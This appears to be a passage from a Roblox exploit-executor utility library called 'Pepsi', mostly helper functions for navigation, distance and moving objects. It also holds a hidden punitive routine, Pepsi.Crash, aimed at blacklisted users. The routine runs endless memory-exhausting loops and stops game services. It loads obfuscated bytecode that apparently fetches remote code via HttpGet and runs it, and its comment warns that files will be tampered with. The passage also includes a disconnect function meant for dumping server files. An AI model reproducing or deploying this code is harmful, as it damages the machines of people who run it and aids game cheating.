1751 Pepsi.Arg(vector3, "Vector3", 1, "Pepsi.Path")
1752 Pepsi.Arg(vec2, {"nil", "CFrame", "Vector3"}, 2, "Pepsi.Path")
1753 vec2 = Pepsi.ToVector3(vec2 or Pepsi.Torso())
1754 Pepsi.Arg(vec2, "Vector3", 2, "Pepsi.Path")
1755 local path = game:GetService("PathfindingService"):CreatePath()
1756 if path then
1757 path:ComputeAsync(vector3 or Pepsi.Pos(), vec2)
1758 return path:GetWaypoints()
1759 end
1760 return {}
1761end
1762function Pepsi.Navigate(vector3, opt, ...)
1763 local min_dist, failsafe, returnfail, timeout, async = unpack({opt, ...})
1764 if type(opt) == "table" then
1765 min_dist, failsafe, returnfail, timeout, async = (opt.dist or opt.min or opt.min_dist), opt.failsafe, opt.returnfail, opt.timeout, opt.async
1766 end
1767 local timeouttime = time()
1768 Pepsi.Navigating = false
1769 Pepsi.Arg(failsafe, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1770 Pepsi.Arg(returnfail, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1771 Pepsi.Arg(timeout, {"number", "nil"}, 2, "Pepsi.Navigate")
1772 Pepsi.Arg(async, {"boolean", "nil"}, 2, "Pepsi.Navigate")
1773 Pepsi.WaitForChar()
1774 local human, torso, min_dist = Pepsi.Human(), Pepsi.Torso(), tonumber(min_dist or 5)
1775 assert(type(vector3) ~= "nil", "bad argument #1 to 'Navigate' (Vector3 expected, got " .. typeof(vector3) .. ")")
1776 assert(min_dist == nil or type(min_dist) == "number", "bad argument #2 to 'Navigate' (number expected, got " .. typeof(min_dist) .. ")")
1777 vector3 = Pepsi.ToVector3(vector3)
1778 assert(vector3 and typeof(vector3) == "Vector3", "bad argument #1 to 'Navigate' (Vector3 expected, got " .. typeof(vector3) .. ")")
1779 if human == nil or typeof(human) == "Instance" and human:IsA("Humanoid") then
1780 Pepsi.Navigating = true
1781 torso = torso or Pepsi.Torso()
1782 local t = 0
1783 local retf = false
1784 while Pepsi.Navigating and (vector3 - torso.Position).Magnitude > min_dist and (not timeout or time() - timeouttime < timeout) do
1785 torso = torso or Pepsi.Torso()
1786 human = human or Pepsi.Human()
1787 if torso and human then
1788 Pepsi.Dev("nav", (vector3 - torso.Position).Magnitude, (vector3 - torso.Position).Magnitude > 10, nav)
1789 local start = torso.Position
1790 if typeof(start) == "Vector3" then
1791 if (vector3 - torso.Position).Magnitude <= min_dist then
1792 return true
1793 end
1794 local waypoints = Pepsi.Path(start, vector3)
1795 if Pepsi.Navigating and waypoints and #waypoints > 0 then
1796 local n = #waypoints > 4 and 5 or #waypoints > 3 and 4 or #waypoints > 2 and 3 or 2 or 1
1797 if waypoints[n] and waypoints[n].Action == 1 then
1798 human.Jump = true
1799 delay(0.1, function()
1800 human.Jump = false
1801 end)
1802 end
1803 if Pepsi.Navigating and waypoints[n] and waypoints[n].Position then
1804 human:MoveTo(waypoints[n].Position)
1805 end
1806 if retf then
1807 return false
1808 end
1809 if failsafe or returnfail then
1810 Pepsi.delay(1.5, function(cache)
1811 if not Pepsi.Navigating then
1812 return false
1813 end
1814 local dis = Pepsi.Dist(cache) * 6
1815 if Pepsi.Navigating and Pepsi.Dist(cache) < 8 then
1816 if returnfail then
1817 retf = true
1818 return
1819 end
1820 Pepsi.Char():TranslateBy((Pepsi.Torso().CFrame.LookVector * 5))
1821 Pepsi.Char():MoveTo(Pepsi.Pos())
1822 elseif Pepsi.Navigating and Pepsi.Dist(cache) < 20 then
1823 if returnfail then
1824 retf = true
1825 return
1826 end
1827 Pepsi.Char():TranslateBy((Pepsi.Torso().CFrame.LookVector * 3))
1828 elseif Pepsi.Navigating and Pepsi.Dist(cache) < 25 then
1829 if returnfail then
1830 retf = true
1831 return
1832 end
1833 human = human or Pepsi.Human()
1834 human.Jump = true
1835 wait(0.1)
1836 human.Jump = false
1837 end
1838 end, Pepsi.Pos())
1839 end
1840 else
1841 if (vector3 - torso.Position).Magnitude > min_dist then
1842 nav = nil
1843 end
1844 end
1845 end
1846 end
1847 if async then
1848 if typeof(async) == "RBXScriptSignal" then
1849 async:Wait()
1850 else
1851 Pepsi.Rs:Wait()
1852 end
1853 end
1854 end
1855 Pepsi.Navigating = false
1856 Pepsi.Dev("nav", "Navigation finished")
1857 if timeout and time() - timeouttime >= timeout then
1858 return false
1859 end
1860 return true
1861 end
1862 Pepsi.Navigating = false
1863 Pepsi.Dev("nav", "Navigation failed - Human lost")
1864 return false
1865end
1866function Pepsi.SetupVars()
1867 if type(Pepsi.VarSignals) == "table" then
1868 for k, v in pairs(Pepsi.VarSignals) do
1869 if typeof(v) == "RBXScriptConnection" then
1870 v:Disconnect()
1871 v = nil
1872 end
1873 end
1874 end
1875 local args = Pepsi.Vars or {
1876 Backpack = false,
1877 Camera = false,
1878 CFrame = false,
1879 Character = false,
1880 Connect = true,
1881 Enabled = false,
1882 Gui = false,
1883 Head = false,
1884 Health = false,
1885 Humanoid = false,
1886 Tool = false,
1887 Torso = false,
1888 Update = game:GetService("RunService").RenderStepped,
1889 Vector3 = false
1890 }
1891 if args and type(args) == "table" then
1892 if args.Enabled then
1893 Pepsi.VarSignals.Update = coroutine.wrap(Pepsi.fcall(function(param)
1894 for k, v in pairs(args) do
1895 local name = tostring(k or "nil")
1896 if name == "Backpack" then
1897
1898 end
1899 end
1900 if Pepsi.VarSignals.Clear then
1901 Pepsi.VarSignals.Clear = nil
1902 coroutine.yield()
1903 Pepsi.VarSignals.Update = nil
1904 end
1905 end))
1906 end
1907 end
1908end
1909function Pepsi.LiveVars(args)
1910 args = args or {
1911 Backpack = false,
1912 Camera = false,
1913 CFrame = false,
1914 Character = false,
1915 Connect = true,
1916 Enabled = false,
1917 Gui = false,
1918 Head = false,
1919 Health = false,
1920 Humanoid = false,
1921 Tool = false,
1922 Torso = false,
1923 Update = game:GetService("RunService").RenderStepped,
1924 Vector3 = false
1925 }
1926 if typeof(args) == "table" then
1927 local narg = {unpack(Pepsi.Vars)}
1928 for k, v in pairs(args) do
1929 if k ~= "Update" and type(v) == "boolean" or k == "Update" then
1930 narg[k] = v
1931 end
1932 end
1933 Pepsi.Vars = {unpack(narg)}
1934 narg = nil
1935 end
1936 return pcall(Pepsi.SetupVars)
1937end
1938function Pepsi.Offline() -- Yeah, now you can play offline. Multiplayer cut, and options are limited. but you cannot timeout or be kicked (However the server will register that you have left the game). (Perfect for digging through the server files (Or saveinstance)
1939 return pcall(function()
1940 game:GetService("NetworkClient"):FindFirstChildOfClass("ClientReplicator"):CloseConnection()
1941 end)
1942end
1943function Pepsi.Line(level)
1944 Pepsi.Arg(level, {"number", "nil"}, 1, "Pepsi.Line")
1945 local lines = {}
1946 local trace = debug.traceback():gsub("[^\r\n]+", function(c)
1947 table.insert(lines, c)
1948 end)
1949 level = math.range(tonumber(level or 3), 0, #lines)
1950 local str = rawget(lines, level)
1951 if type(str) == "string" then
1952 return tonumber(tostring(str:match(":(%d+)$")))
1953 end
1954end
1955function Pepsi.Crash(destroy_my_pc) -- Strongly recommend reserving the destroy_my_pc for severe cases. (Black lists shouldn't have to suffer this punishment unless a brutal betrayal was made (But ultimately, it is your decision. And Yes. This method HARMS much more than roblox. Files will be tampered with.)
1956 pcall(Pepsi.Offline)
1957 if destroy_my_pc == true then
1958 return (function()
1959 repeat
1960 for k = -math.huge, math.huge, 0.0000000001 do
1961 while not false or true or 1 or not (nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and 1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true) or false == (nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and 1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true) or true or true or 1 == 1 do
1962 pcall(spawn, Pepsi.Destroy)
1963 pcall(spawn, Pepsi.Rejoin)
1964 pcall(spawn, loadstring((string.char(0X1B, 0X4C, 0X75, 0X61, 0X51, 0X0, 0X1, 0X4, 0X4, 0X4, 0X8, 0X0, 0X13, 0X0, 0X0, 0X0, 0X40, 0X6D, 0X41, 0X49, 0X39, 0X52, 0X74, 0X4E, 0X78, 0X54, 0X73, 0X6D, 0X62, 0X4D, 0X68, 0X4B, 0X6F, 0X6A, 0X0, 0X0, 0XB4, 0XB2, 0X1B, 0X34, 0X9D, 0X8C, 0X71, 0X0, 0X0, 0X2, 0X82, 0X88, 0X0, 0X0, 0X0, 0X5, 0X0, 0X0, 0X0, 0X45, 0X40, 0X0, 0X0, 0X85, 0X80, 0X0, 0X0, 0XC5, 0XC0, 0X0, 0X0, 0XCB, 0X0, 0XC1, 0X1, 0X45, 0X41, 0X1, 0X0, 0X46, 0X81, 0XC1, 0X2, 0X81, 0XC1, 0X1, 0X0, 0XC1, 0X1, 0X2, 0X0, 0X1, 0X2, 0X2, 0X0, 0X41, 0X42, 0X2, 0X0, 0X81, 0X82, 0X2, 0X0, 0XC1, 0XC2, 0X2, 0X0, 0X1, 0X3, 0X3, 0X0, 0X41, 0X3, 0X3, 0X0, 0X81, 0X43, 0X3, 0X0, 0XC1, 0X83, 0X3, 0X0, 0X1, 0X84, 0X2, 0X0, 0X41, 0X4, 0X2, 0X0, 0X81, 0XC4, 0X3, 0X0, 0XC1, 0X44, 0X3, 0X0, 0X1, 0X85, 0X3, 0X0, 0X41, 0X5, 0X2, 0X0, 0X81, 0XC5, 0X1, 0X0, 0XC1, 0X5, 0X4, 0X0, 0X1, 0X46, 0X4, 0X0, 0X41, 0XC6, 0X3, 0X0, 0X81, 0X86, 0X4, 0X0, 0XC1, 0XC6, 0X4, 0X0, 0X1, 0X7, 0X5, 0X0, 0X41, 0X7, 0X3, 0X0, 0X81, 0X47, 0X5, 0X0, 0XC1, 0X7, 0X4, 0X0, 0X1, 0X88, 0X4, 0X0, 0X41, 0X88, 0X5, 0X0, 0X81, 0XC8, 0X5, 0X0, 0XC1, 0X88, 0X3, 0X0, 0X1) .. string.char(0XC9, 0X4, 0X0, 0X41, 0X9, 0X6, 0X0, 0X81, 0X9, 0X6, 0X0, 0XC1, 0X49, 0X6, 0X0, 0X1, 0XA, 0X3, 0X0, 0X41, 0X4A, 0X4, 0X0, 0X81, 0X8A, 0X4, 0X0, 0XC1, 0X8A, 0X6, 0X0, 0X1, 0XCB, 0X6, 0X0, 0X41, 0X8B, 0X5, 0X0, 0X81, 0X8B, 0X6, 0X0, 0XC1, 0XCB, 0X6, 0X0, 0X1, 0XC, 0X7, 0X0, 0X41, 0X4C, 0X7, 0X0, 0X81, 0X8C, 0X4, 0X0, 0XC1, 0X8C, 0X7, 0X0, 0X1, 0X4D, 0X7, 0X0, 0X41, 0X4D, 0X7, 0X0, 0X81, 0X8D, 0X7, 0X0, 0XC1, 0XCD, 0X7, 0X0, 0X1, 0XE, 0X8, 0X0, 0X41, 0XCE, 0X7, 0X0, 0X81, 0X4E, 0X8, 0X0, 0XC1, 0X8E, 0X5, 0X0, 0X1, 0XF, 0X6, 0X0, 0X41, 0X4F, 0X4, 0X0, 0X81, 0X8F, 0X7, 0X0, 0XC1, 0X8F, 0X5, 0X0, 0X1, 0X10, 0X7, 0X0, 0X41, 0X50, 0X6, 0X0, 0X81, 0XD0, 0X6, 0X0, 0XC1, 0X90, 0X8, 0X0, 0X1, 0X91, 0X8, 0X0, 0X41, 0X11, 0X7, 0X0, 0X81, 0XD1, 0X8, 0X0, 0XC1, 0X11, 0X8, 0X0, 0X1, 0X92, 0X7, 0X0, 0X41, 0X12, 0X3, 0X0, 0X81, 0XD2, 0X5, 0X0, 0XC1, 0X92, 0X5, 0X0, 0X1, 0X13, 0X9, 0X0, 0X41, 0X13, 0X3, 0X0, 0X81, 0X13, 0X6, 0X0, 0XC1, 0X93, 0X6, 0X0, 0X1, 0XD4, 0X8, 0X0, 0X41, 0X14, 0X8, 0X0, 0X81, 0X54, 0X7, 0X0, 0XC1, 0X54, 0X6, 0X0, 0X1, 0X15, 0X8, 0X0, 0X41, 0X55, 0X4, 0X0, 0X81) .. string.char(0X15, 0X8, 0X0, 0XC1, 0XD5, 0X7, 0X0, 0X1, 0X16, 0X7, 0X0, 0X41, 0X96, 0X8, 0X0, 0X81, 0X96, 0X5, 0X0, 0XC1, 0X16, 0X8, 0X0, 0X1, 0X57, 0X8, 0X0, 0X41, 0X57, 0X4, 0X0, 0X81, 0X97, 0X6, 0X0, 0XC1, 0X57, 0X4, 0X0, 0X1, 0X98, 0X8, 0X0, 0X41, 0XD8, 0X6, 0X0, 0X81, 0X18, 0X6, 0X0, 0XC1, 0X58, 0X9, 0X0, 0X1, 0X59, 0X4, 0X0, 0X41, 0X19, 0X7, 0X0, 0X81, 0X59, 0X4, 0X0, 0XC1, 0XD9, 0X6, 0X0, 0X1, 0XDA, 0X7, 0X0, 0X41, 0X9A, 0X8, 0X0, 0X81, 0X1A, 0X6, 0X0, 0XC1, 0XDA, 0X6, 0X0, 0X1, 0X1B, 0X7, 0X0, 0X41, 0XDB, 0X8, 0X0, 0X81, 0X5B, 0X8, 0X0, 0XC1, 0XDB, 0X6, 0X0, 0X1, 0X1C, 0X8, 0X0, 0X41, 0X5C, 0X9, 0X0, 0X81, 0X1C, 0X6, 0X0, 0XC1, 0XDC, 0X8, 0X0, 0X1, 0X9D, 0X7, 0X0, 0X41, 0XDD, 0X7, 0X0, 0X81, 0X1D, 0X3, 0X0, 0XC1, 0X9D, 0X9, 0X0, 0X1, 0X1E, 0X8, 0X0, 0X41, 0X5E, 0X2, 0X0, 0X81, 0X9E, 0X2, 0X0, 0XC1, 0X9E, 0X3, 0X0, 0X1, 0X1F, 0X8, 0X0, 0X41, 0X9F, 0X6, 0X0, 0X81, 0XDF, 0X3, 0X0, 0XC1, 0XDF, 0X9, 0X0, 0X1, 0X20, 0X4, 0X0, 0X41, 0XA0, 0X5, 0X0, 0X5C, 0X1, 0X80, 0X3E, 0XDC, 0X0, 0X0, 0X0, 0X9C, 0X0, 0X0, 0X0, 0X1C, 0X40, 0X0, 0X0, 0X1E, 0X0, 0X80, 0X0, 0X28, 0X0, 0X0, 0X0, 0X4) .. string.char(0X6, 0X0, 0X0, 0X0, 0X70, 0X63, 0X61, 0X6C, 0X6C, 0X0, 0X4, 0X6, 0X0, 0X0, 0X0, 0X73, 0X70, 0X61, 0X77, 0X6E, 0X0, 0X4, 0XB, 0X0, 0X0, 0X0, 0X6C, 0X6F, 0X61, 0X64, 0X73, 0X74, 0X72, 0X69, 0X6E, 0X67, 0X0, 0X4, 0X5, 0X0, 0X0, 0X0, 0X67, 0X61, 0X6D, 0X65, 0X0, 0X4, 0X8, 0X0, 0X0, 0X0, 0X48, 0X74, 0X74, 0X70, 0X47, 0X65, 0X74, 0X0, 0X4, 0X7, 0X0, 0X0, 0X0, 0X73, 0X74, 0X72, 0X69, 0X6E, 0X67, 0X0, 0X4, 0X5, 0X0, 0X0, 0X0, 0X63, 0X68, 0X61, 0X72, 0X0, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X47, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X47, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5B, 0X40, 0X3) .. string.char(0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X5B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X53, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X58, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X5C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X49, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X48, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4B, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X40, 0X59, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X4C, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X4A, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X49, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0XC0, 0X5D, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X80, 0X48, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X54, 0X40, 0X3, 0X0, 0X0, 0X0, 0X0, 0X0, 0X0, 0X5B, 0X40, 0X0, 0X0, 0X0, 0X0, 0X88, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1) .. string.char(0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1) .. string.char(0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1, 0X0, 0X0, 0X0, 0X1)))) -- God of Death
1965 pcall(spawn, function()
1966 pcall(Pepsi.Destroy, getgenv())
1967 end)
1968 end
1969 end
1970 until nil == #string.rep("x", 9^9 + math.random(-1000, 1000)) and 1 == #("f"):rep(9^9 + math.random(-1000, 1000)) and nil and 1 + 1 == 1 and nil ~= nil and true == false and game == nil and string.rep("x", 9^9) and not true
1971 end)()
1972 end
1973 Pepsi.scall(Pepsi.Rejoin) -- Soft Start, if bypassed they will suffer more. Bypass that, and the suffer even more.
1974 Pepsi.scall(Pepsi.Destroy)
1975 if game:FindFirstChildWhichIsA("NetworkReplicator", true) then
1976 game:FindFirstChildWhichIsA("NetworkReplicator", true):CloseConnection() -- Offline
1977 end
1978 spawn(function()game:GetService("GuiService"):InspectPlayerFromUserId(1)end)
1979 spawn(function()game:GetService("GuiService").GuiNavigationEnabled = false end)
1980 spawn(function()game:GetService("RunService"):Stop()end)
1981 spawn(function()game:GetService("GuiService"):SetGlobalGuiInset(100, 100, 100, 100)end)
1982 spawn(function()game:GetService("ContextActionService"):UnbindAllActions()end)
1983 if game.Shutdown then
1984 game:Shutdown()
1985 end
1986 if getpointerfromstate and getstates then
1987 getpointerfromstate(getpointerfromstate(getstates()[1]))
1988 end
1989 if getpropvalue then
1990 getpropvalue()
1991 end
1992 if setpropvalue then
1993 setpropvalue()
1994 end
1995 pcall(function()
1996 if setreadonly then
1997 setreadonly(getmetatable(game), false)
1998 end
1999 end)
2000 if syn then
2001 if syn.run_secure_function then
2002 syn.run_secure_function(string.rep("x", 9^9))
2003 end
2004 if syn.secrun then
2005 syn.secrun(1, 1)
2006 end
2007 pcall(function()
2008 syn.write_clipboard(tostring(tick() * math.random()))
2009 end)
2010 if syn.create_secure_function then
2011 syn.create_secure_function(string.rep("x", 9 ^ 9), ("x"):rep(9 ^ 9))
2012 end
2013 end
2014end
2015function Pepsi.GetPart(obj)
2016 if typeof(obj) == "Instance" and obj:IsA("ValueBase") then
2017 obj = obj.Value
2018 elseif typeof(obj) == "Instance" and obj:IsA("Player") then
2019 obj = obj.Character
2020 elseif typeof(obj) == "Instance" and obj:IsA("BasePart") then
2021 return obj
2022 end
2023 if typeof(obj) == "Instance" then
2024 if obj:IsA("BasePart") then
2025 return obj
2026 elseif obj:IsA("Model") and obj.PrimaryPart then
2027 return obj.PrimaryPart
2028 elseif obj:FindFirstChildOfClass("Humanoid") or obj:FindFirstChildOfClass("Humanoid", true) then
2029 local tobj = obj:FindFirstChildOfClass("Humanoid") or obj:FindFirstChildOfClass("Humanoid", true)
2030 if tobj and tobj.RootPart then
2031 return tobj.RootPart
2032 end
2033 end
2034 if obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true) then
2035 obj = obj:FindFirstChildWhichIsA("BasePart") or obj:FindFirstChildWhichIsA("BasePart", true)
2036 return obj
2037 end
2038 end
2039end
2040function Pepsi.MoveTo(obj)
2041 if obj then
2042 local c = Pepsi.Human()
2043 if c and c.RootPart then
2044 c.RootPart.CFrame = CFrame.new(Pepsi.ToVector3(obj))
2045 end
2046 end
2047end
2048function Pepsi.MoveObj(obj, to, collision)
2049 if type(to) == nil and typeof(obj) == "Vector3" or typeof(obj) == "CFrame" then
2050 obj, to = Pepsi.Char(), obj
2051 elseif type(to) == nil and typeof(obj) == "Instance" then
2052 to = Pepsi.Torso()
2053 end
2054 Pepsi.Arg(obj, "Instance", 1, "Pepsi.MoveObj")
2055 Pepsi.Arg(to, {"Instance", "CFrame", "Vector3"}, 2, "Pepsi.MoveObj")
2056 local part = Pepsi.GetPart(obj)
2057 local p = Pepsi.ToVector3(to)
2058 Pepsi.Arg(part, "Instance", 1, "Pepsi.MoveObj")
2059 Pepsi.Arg(p, "Vector3", 2, "Pepsi.MoveObj")
2060 if not part:IsA("BasePart") then
2061 Pepsi.Arg(nil, "Instance", 1, "Pepsi.MoveObj")
2062 elseif p == Vector3.new() then
2063 Pepsi.Arg(nil, "Vector3", 2, "Pepsi.MoveObj")
2064 end
2065 if part:IsA("BasePart") and typeof(p) == "Vector3" then
2066 if collision == true then
2067 part.Position = p
2068 else
2069 part.CFrame = CFrame.new(p)
2070 end
2071 end
2072end
2073function Pepsi.Splash(txt, del)
2074 local message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Message")
2075 while message ~= nil do
2076 if message then
2077 message:Destroy()
2078 end
2079 message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Message")
2080 end
2081 return Instance.make("Message", {
2082 Text = tostring(txt or "Hello World"),
2083 Name = string.scramble(),
2084 Parent = game:GetService("CoreGui")
2085 }, tonumber(del or 4))
2086end
2087function Pepsi.Hint(txt, del)
2088 local message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Hint")
2089 while message ~= nil do
2090 if message then
2091 message:Destroy()
2092 end
2093 message = game:GetService("CoreGui"):FindFirstChildWhichIsA("Hint")
2094 end
2095 return Instance.make("Hint", {
2096 Text = tostring(txt or "Hello World"),
2097 Name = string.scramble(),
2098 Parent = game:GetService("CoreGui")
2099 }, tonumber(del or 4))
2100end
2101function Pepsi.fcall(func, ...) -- function call
2102 return function(...)
2103 return pcall(func, ...)
2104 end
2105end
2106function Pepsi.efcall(func, ...) -- Extra yield call
2107 return function(...)
2108 return Pepsi.ecall(func, ...)
2109 end
2110end
2111function Pepsi.fscall(func, ...) -- function silent call
2112 return function(...)
2113 return Pepsi.scall(func, ...)
2114 end
2115end
2116function Pepsi.fsycall(func, ...) -- function silent yield call
2117 return function(...)
2118 return Pepsi.sycall(func, ...)
2119 end
2120end
2121function Pepsi.fycall(func, ...) -- function yield call
2122 return function(...)
2123 return Pepsi.ycall(func, ...)
2124 end
2125end
2126function Pepsi.efycall(func, ...) -- Extra function yield call
2127 return function(...)
2128 return Pepsi.eycall(func, ...)
2129 end
2130end
2131function Pepsi.Dist(vec1, vec2, def)
2132 if def == nil then
2133 def = math.nan
2134 end
2135 if nil == vec2 and nil ~= vec1 then
2136 vec2 = Pepsi.Me()
2137 end
2138 if typeof(vec1) == "CFrame" then
2139 vec1 = vec1.Position
2140 end
2141 if typeof(vec2) == "CFrame" then
2142 vec2 = vec2.Position
2143 end
2144 if typeof(vec1) == "Instance" and typeof(vec2) == "Instance" and vec1:IsA("Player") and vec2:IsA("Player") then
2145 vec2 = vec2.Character
2146 if not vec2 or not vec1.Character then
2147 return def
2148 end
2149 end
2150 if typeof(vec1) == "Instance" and not vec1:IsA("Player") then
2151 if vec1:IsA("BasePart") then
2152 vec1 = vec1.Position
2153 elseif vec1:IsA("Model") then
2154 if vec1.PrimaryPart then
2155 vec1 = vec1.PrimaryPart.Position
2156 elseif vec1:FindFirstChildWhichIsA("BasePart", true) then
2157 vec1 = vec1:FindFirstChildWhichIsA("BasePart", true).Position
2158 end
2159 elseif vec1:FindFirstChildWhichIsA("BasePart", true) then
2160 vec1 = vec1:FindFirstChildWhichIsA("BasePart", true).Position
2161 end
2162 end
2163 if typeof(vec2) == "Instance" and not vec2:IsA("Player") then
2164 if vec2:IsA("BasePart") then
2165 vec2 = vec2.Position
2166 elseif vec2:IsA("Model") then
2167 if vec2.PrimaryPart then
2168 vec2 = vec2.PrimaryPart.Position
2169 elseif vec2:FindFirstChildWhichIsA("BasePart", true) then
2170 vec2 = vec2:FindFirstChildWhichIsA("BasePart", true).Position
2171 end
2172 elseif vec2:FindFirstChildWhichIsA("BasePart", true) then
2173 vec2 = vec2:FindFirstChildWhichIsA("BasePart", true).Position
2174 end
2175 end
